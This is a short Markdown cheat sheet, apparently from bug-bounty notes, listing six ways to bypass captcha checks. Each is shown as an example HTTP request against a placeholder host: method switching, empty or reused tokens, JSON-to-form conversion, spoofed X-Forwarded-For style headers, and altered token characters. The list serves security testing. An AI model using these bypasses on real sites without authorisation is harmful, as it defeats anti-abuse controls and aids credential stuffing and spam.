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77 lines
1.5 KiB
Markdown
77 lines
1.5 KiB
Markdown
# Bypass Captcha
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1. Try changing the request method, for example POST to GET
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```
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POST / HTTP 1.1
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Host: target.com
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[...]
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_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
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```
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Change the method to GET
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```
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GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1
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Host: target.com
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[...]
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```
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2. Try remove the value of the captcha parameter
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```
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POST / HTTP 1.1
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Host: target.com
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[...]
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_RequestVerificationToken=&_Username=daffa&_Password=test123
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```
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3. Try reuse old captcha token
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```
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POST / HTTP 1.1
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Host: target.com
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[...]
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_RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123
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```
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4. Convert JSON data to normal request parameter
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```
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POST / HTTP 1.1
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Host: target.com
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[...]
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{"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"}
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```
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Convert to normal request
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```
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POST / HTTP 1.1
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Host: target.com
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[...]
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_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
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```
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5. Try custom header to bypass captcha
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```
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X-Originating-IP: 127.0.0.1
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X-Forwarded-For: 127.0.0.1
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X-Remote-IP: 127.0.0.1
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X-Remote-Addr: 127.0.0.1
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```
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6. Change some specific characters of the captcha parameter and see if it is possible to bypass the restriction.
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```
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POST / HTTP 1.1
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Host: target.com
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[...]
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_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
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```
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Try this to bypass
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```
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POST / HTTP 1.1
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Host: target.com
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[...]
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_RequestVerificationToken=xxxdxxxaxxcxxx&_Username=daffa&_Password=test123
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```
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